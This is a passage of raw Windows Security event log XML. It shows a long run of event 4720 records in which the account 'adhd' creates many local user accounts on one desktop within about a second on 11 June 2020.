Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - James - adhd - - - 4720 - 4747 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:02.4624606Z'/><EventRecordID>4747</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Thomas</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1117</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Thomas</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Thomas - adhd - - - 4720 - 4741 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:02.3635568Z'/><EventRecordID>4741</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>William</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1116</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>William</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - William - adhd - - - 4720 - 4735 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:02.2606739Z'/><EventRecordID>4735</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Carol</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1115</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Carol</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Carol - adhd - - - 4720 - 4729 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:02.1878838Z'/><EventRecordID>4729</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Charles</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1114</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Charles</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Charles - adhd - - - 4720 - 4723 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:02.0608825Z'/><EventRecordID>4723</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Joseph</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1113</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Joseph</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Joseph - adhd - - - 4720 - 4717 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:01.9622109Z'/><EventRecordID>4717</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Benjamin</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1112</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Benjamin</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Benjamin - adhd - - - 4720 - 4711 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:01.8854570Z'/><EventRecordID>4711</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Johnny</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1111</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Johnny</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Johnny - adhd - - - 4720 - 4705 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:01.8004865Z'/><EventRecordID>4705</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Rose</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1110</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Rose</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Rose - adhd - - - 4720 - 4699 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:01.7167402Z'/><EventRecordID>4699</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Judy</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1109</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Judy</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Judy - adhd - - - 4720 - 4693 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:01.6230396Z'/><EventRecordID>4693</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Bryan</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1108</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Bryan</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Bryan - adhd - - - 4720 - 4687 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:01.5247954Z'/><EventRecordID>4687</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Kenneth</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1107</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Kenneth</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Kenneth - adhd - - - 4720 - 4681 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:01.4468077Z'/><EventRecordID>4681</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Cheryl</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1106</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Cheryl</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Cheryl - adhd - - - 4720 - 4675 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:01.3423708Z'/><EventRecordID>4675</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Madison</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1105</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Madison</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Madison - adhd - - - 4720 - 4669 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:01.2301161Z'/><EventRecordID>4669</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Harry</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1104</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Harry</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Harry - adhd - - - 4720 - 4663 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:05:01.0821351Z'/><EventRecordID>4663</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Debra</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1103</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Debra</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Debra - adhd - - - 4720 - 4657 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' 